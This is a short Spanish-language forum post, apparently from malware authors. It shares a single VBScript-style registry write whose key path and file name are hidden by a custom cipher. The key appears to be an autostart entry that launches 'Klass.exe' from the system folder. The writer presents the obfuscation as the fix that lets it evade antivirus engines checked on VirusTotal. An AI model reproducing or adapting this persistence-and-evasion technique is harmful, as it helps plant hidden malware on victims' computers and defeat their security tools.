Bueno el error esta en el regwrite, de esta manera ya no es detectado por los AV por lo menos los del virustotal
Código [Seleccionar]
Clave.regwrite descifrar("OLB^XDRUUBISXRTBU[Thaspfub[Jnduhthas[Pnichpt[DruubisQbutnhi[Uri[") & "Klass", descifrar("d=[pnichpt[t~tsbj45[") & "Klass.exe"